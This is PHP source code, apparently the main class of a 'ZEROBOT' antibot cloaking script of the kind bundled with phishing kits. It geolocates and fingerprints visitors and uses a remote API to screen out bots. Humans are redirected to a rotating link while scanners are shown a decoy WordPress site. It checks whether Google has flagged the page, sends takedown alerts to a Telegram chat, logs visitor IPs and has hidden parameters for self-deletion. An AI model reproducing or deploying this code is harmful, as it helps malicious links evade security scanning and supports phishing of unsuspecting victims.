| IP | Time | Machine | ISP | Hostname | Country | Type |
';
public $country_code;
public $country_name;
public $isp;
public $hostname;
public $useragent;
public $redirect;
public $rm_db;
public function __construct(
$redirect,
$parameter,
$authentification,
$token,
$chatid,
$vu_filename,
$remove_visitors_duplicate
) {
global $captcha,$license_key;
$this->token = $token;
$this->chatid = $chatid;
$this->vu_filename = $vu_filename . $this->extension_type;
$this->license_key = $license_key;
$this->useragent = $_SERVER["HTTP_USER_AGENT"];
$this->rm_db = $remove_visitors_duplicate;
$this->data_show = str_replace("BASENAME",basename(__FILE__) , $this->data_show);
if (
empty($license_key) ||
empty($redirect) ||
strlen($license_key) != 32)
{
echo "";
exit();
}
if (!empty($redirect)) {
$key = array_rand($redirect);
$redirect = $redirect[$key];
if (!filter_var($redirect, FILTER_VALIDATE_URL)) {
$key = array_rand($redirect);
$redirect = $redirect[$key];
if (!filter_var($redirect, FILTER_VALIDATE_URL)) {
echo "Invalid Link : " . $redirect;
exit();
}
}
if (empty($parameter) or !is_numeric($parameter)) {
$parameter = 1;
}
$this->redirect = $redirect;
$this->_ACCESS();
$this->_ADD_EXT_LINK($authentification,$license_key);
$this->_IP_ADDRESS_FINDER();
$this->_GEOLOCATION($license_key);
$this->_GOOGLE_FLAG();
$this->_CHECK_LINK($license_key);
$this->captcha_redirection();
switch ($parameter) {
case "1":
if ($this->_COUNTRY_ALLOWED() == true) {
if ($this->_ZEROBOT_MANAGER($captcha) == true) {
$this->write_vues("Human");
if ($captcha) {
$this->captcha_resolve();
} else {
header("location:" . $this->redirect);
}
}
}
break;
case "2":
if ($this->_ZEROBOT_MANAGER($captcha) == true) {
$this->write_vues("Human");
if ($captcha) {
$this->captcha_resolve();
} else {
header("location:" . $this->redirect);
}
}
break;
case "3":
if ($this->_COUNTRY_ALLOWED() == true) {
$this->write_vues("Human");
if ($captcha) {
$this->captcha_resolve();
} else {
header("location:" . $this->redirect);
}
}
break;
default:
$this->write_vues("Allowed");
if ($captcha) {
$this->captcha_resolve();
} else {
header("location:" . $this->redirect);
}
break;
}
} else {
echo "Link Empty";
}
}
public static function PHP_VERSION_SET()
{
if ((int) phpversion()[0] < 5) {
echo "PHP Version Required 5+";
exit();
}
}
public function _ACCESS()
{
if (isset($_GET["del"])) {
unlink(basename(__FILE__));
echo "✅ Antibot File Deleted : " . basename(__FILE__);
exit();
}
if (isset($_GET["check"])) {
print "AccessID923487";
exit();
}
if (isset($_GET["delete"])) {
$file_handle = fopen($this->vu_filename, 'w');
$f = fopen($this->vu_filename,"a");
fwrite($f,$this->data_show);
fclose($f);
header('location:' . $this->vu_filename);
exit();
}
}
public static function __DEFINED()
{
// error_reporting(0);
// ini_set("display_errors", 0);
// ini_set("display_startup_errors", 0);
header("Content-type: text/html; charset=UTF-8");
define("key_id", "AccessID923487");
define("WP_USE_THEMES", true);
}
private function _CURL_ACCESS($url, $post)
{
$this->keys = curl_init();
if(isset($post) && is_array($post))
{
curl_setopt($this->keys, CURLOPT_URL, $url . "?" . http_build_query($post));
}
else
{
curl_setopt($this->keys, CURLOPT_URL, $url);
}
curl_setopt($this->keys, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($this->keys, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($this->keys, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($this->keys, CURLOPT_FRESH_CONNECT, true);
curl_setopt($this->keys, CURLOPT_AUTOREFERER, true);
curl_setopt($this->keys, CURLOPT_TIMEOUT, 10);
curl_setopt(
$this->keys,
CURLOPT_HEADER,
"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"
);
curl_setopt($this->keys, CURLOPT_RETURNTRANSFER, true);
$return = curl_exec($this->keys);
if (empty($return)) {
@file_get_contents($url);
} else {
return $return;
}
}
public function _COUNTRY_ALLOWED()
{
global $_COUNTRY_ALLOWED;
$country_name = strtolower($this->country_code);
if (in_array($country_name, $_COUNTRY_ALLOWED))
{
return 1;
} else
{
$this->write_vues("Country Denied");
$this->_WP_RUN();
return 0;
}
}
private function _GEOLOCATION($license_key)
{
$post_app = [
"license" => $license_key,
"ip" => $this->ip
];
$data_geo = $this->_CURL_ACCESS($this->api_geo,$post_app);
$data_json_decoded = @json_decode($data_geo, true);
$this->country_code = $data_json_decoded["country_code"];
$this->country_name = $data_json_decoded["country"];
$this->isp = $data_json_decoded["isp"];
$this->hostname = $data_json_decoded["hostname"];
}
public function write_vues($check)
{
if (!file_exists($this->vu_filename)) {
$f = fopen($this->vu_filename, "a");
}
switch ($check) {
case "Human":
$color = "#00a300";
break;
case "Bot":
$color = "#FF0000";
break;
case "Country Denied":
$color = "#DAA520";
break;
case "Allowed":
$color = "black";
break;
}
$this->_HTML_VIEWS();
$time = date("d/m/Y h:i:s A");
$this->_USER_OS();
$ip_address = $this->ip;
$machine = $this->useragent;
$country = $this->country_name;
$isp = $this->isp;
$hostname = $this->hostname;
if (empty($hostname)) {
$hostname = $this->ip;
}
$data_to_put =
"| $ip_address | $time | $machine | $isp | $hostname | $country | $check |
";
if ($this->rm_db)
{
$this->_ONE_IP($ip_address,$data_to_put);
}
else
{
$file = fopen($this->vu_filename, "a");
fwrite($file, (string) $data_to_put . "\n");
fclose($file);
}
}
public function _ONE_IP($ip_address,$data_to_put)
{
if (file_exists($this->vu_filename))
{
if (!preg_match("/$ip_address/",@file_get_contents($this->vu_filename)))
{
$file = fopen($this->vu_filename, "a");
fwrite($file, (string) $data_to_put . "\n");
fclose($file);
}
}
}
public function _CHECK_LINK($license_key)
{
global $redirection_link_check;
if(preg_match("/key/",$this->redirect))
$redirect = str_replace("?key=" .$license_key , "", $this->redirect);
else
$redirect = $this->redirect;
if ($redirection_link_check == true) {
$data_check = $this->_CURL_ACCESS($redirect. "?check",null);
if (!preg_match("/" . key_id . "/", $data_check)) {
$this->rapport_template(0, $redirect );
}
}
}
public function captcha_redirection()
{
if(isset($_GET['authorize']))
{
$array_post = [
"license" => $this->license_key,
"ip" => $this->ip,
"useragent" => $this->useragent,
];
$this->_CURL_ACCESS($this->captcha_api, $array_post);
header('location:' . $this->redirect);
exit();
}
}
private function full_link_get()
{
if (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "on") {
$link = "https";
} else {
$link = "http";
}
$link .= "://";
$link .= $_SERVER["HTTP_HOST"];
$link .= $_SERVER["PHP_SELF"];
return $link;
}
public function captcha_resolve()
{
global $captcha;
if ($captcha) {
if (isset($_SESSION["color"]) && isset($_SESSION["logo"])) {
echo ' Captcha Verification';
} else {
echo ' Captcha Verification';
}
}
}
private function rapport_template($action, $link)
{
global $redirection_link_check;
$date = date("r", $_SERVER["REQUEST_TIME"]);
if ($action) {
$this->message = "❗️ Status : Down\n";
$this->message .=
"Link Redirect : " . $this->full_link_get() . "\n";
$this->message .= "Link Server : " . $link . "\n";
$this->message .= "Link Downed Is : " . $link . "\n";
$this->message .= "Date : " . $date . "\n";
$this->_TM_RAPPORT($this->message);
}
if ($redirection_link_check == 1 and !$action) {
$this->message = "❗️Status : You need to re-upload it now\n";
$this->message .=
"Link Redirect : " . $this->full_link_get() . "\n";
$this->message .= "Link Server : " . $link . "\n";
$this->message .= "Date : " . $date . "\n";
$this->_TM_RAPPORT($this->message);
}
}
private function _FAVICON()
{
global $active_wordpress;
if ($active_wordpress == 1) {
return fopen("favicon.ico", "a");
}
}
private function _HTML_VIEWS()
{
if (empty($this->vu_filename)) {
$this->vu_filename = "access" . $this->extension_type;
}
if (file_exists($this->vu_filename)) {
if (filesize($this->vu_filename) < 20) {
$f = fopen($this->vu_filename, "w+");
fwrite($f, $this->data_show);
fclose($f);
}
} else {
$f = fopen($this->vu_filename, "a");
fwrite($f, $this->data_show);
fclose($f);
}
}
private function _IP_ADDRESS_FINDER()
{
foreach (
[
"HTTP_CLIENT_IP",
"HTTP_X_FORWARDED_FOR",
"HTTP_X_FORWARDED",
"HTTP_X_CLUSTER_CLIENT_IP",
"HTTP_FORWARDED_FOR",
"HTTP_FORWARDED",
"REMOTE_ADDR",
]
as $key
) {
if (array_key_exists($key, $_SERVER) === true) {
foreach (explode(",", $_SERVER[$key]) as $ip_address) {
$ip_address = trim($ip_address);
if (
filter_var(
$ip_address,
FILTER_VALIDATE_IP,
FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE
) !== false
) {
$this->ip = $ip_address;
return;
} else {
$this->ip = "123.126.68.118";
return;
}
}
}
}
}
private function _TM_RAPPORT($message)
{
if (!empty($message) and strlen($this->token) > 10 and strlen($this->chatid) > 5)
{
$url =$this->telegram .$this->token ."/sendMessage?chat_id=" .$this->chatid ."&text=" .urlencode($message);
$this->_CURL_ACCESS($url, null);
}
}
private function _USER_OS()
{
if (array_key_exists("HTTP_USER_AGENT", $_SERVER)) {
$array_key = preg_match('/\((.*?)\)/',$this->useragent,$code);
$this->useragent = str_replace(";","",$code[1]);
} else {
$this->useragent = "UNKNOWN";
}
}
public function _GOOGLE_FLAG()
{
global $check_red_page;
if ($check_red_page)
{
$data_google = $this->_CURL_ACCESS($this->google_api . $this->redirect,null);
$data_google2 = $this->_CURL_ACCESS($this->google_api . $this->full_link_get(),null);
$ex = explode(",", $data_google);
$ex2 = explode(",", $data_google2);
if ($ex[1] == 2) {
$this->rapport_template(1, $this->redirect);
} elseif ($ex2[1] == 2) {
$this->rapport_template(1, $this->full_link_get());
}
}
}
public function _ZEROBOT_MANAGER($captcha)
{
global $license_key;
if (isset($captcha)) {
$array_post = [
"check_on" => $this->full_link_get(),
"license" => $license_key,
"ip" => $this->ip,
"useragent" => $this->useragent,
"captcha" => "",
];
} else {
$array_post = [
"check_on" => $this->full_link_get(),
"license" => $license_key,
"ip" => $this->ip,
"useragent" => $this->useragent,
];
}
$data_decoded = @json_decode(
$this->_CURL_ACCESS($this->api, $array_post),
true
);
if (is_array($data_decoded))
{
if (array_key_exists("query", $data_decoded))
{
echo @json_encode($data_decoded);
exit();
}
elseif (array_key_exists("username", $data_decoded))
{
if ($data_decoded["is_bot"] == true)
{
$this->write_vues("Bot");
$this->_WP_RUN();
$_SESSION["days_left"] = $data_decoded["left"];
$_SESSION["total_checked"] = $data_decoded["total"];
$_SESSION["plan"] = $data_decoded["plan"];
if (array_key_exists("captcha", $data_decoded))
{
$_SESSION["color"] =
$data_decoded["captcha"]["color"];
$_SESSION["logo"] =
$data_decoded["captcha"]["logo"];
}
else
{
unset($_SESSION["color"]);
unset($_SESSION["logo"]);
}
return 0;
}
elseif ($data_decoded["is_bot"] == false)
{
$_SESSION["days_left"] = $data_decoded["left"];
$_SESSION["total_checked"] = $data_decoded["total"];
$_SESSION["plan"] = $data_decoded["plan"];
if (array_key_exists("captcha", $data_decoded))
{
$_SESSION["color"] =
$data_decoded["captcha"]["color"];
$_SESSION["logo"] =
$data_decoded["captcha"]["logo"];
}
else
{
unset($_SESSION["color"]);
unset($_SESSION["logo"]);
}
return 1;
}
}
}
}
public function _ADD_EXT_LINK($authentification,$license_key)
{
if ($authentification)
$this->redirect .= "/?key=" . $license_key;
}
public function _WP_RUN()
{
global $active_wordpress, $location_bots;
if ($active_wordpress == 1 and file_exists("wp-blog-header.php")) {
$this->_FAVICON();
require __DIR__ . "/wp-blog-header.php";
exit();
} else {
header("location:" . $location_bots);
}
}
}
new ZEROBOT(
$redirect,
$parameter,
$authentification,
$token_chat,
$chatid,
$view_file_name,
$remove_visitors_duplicate
);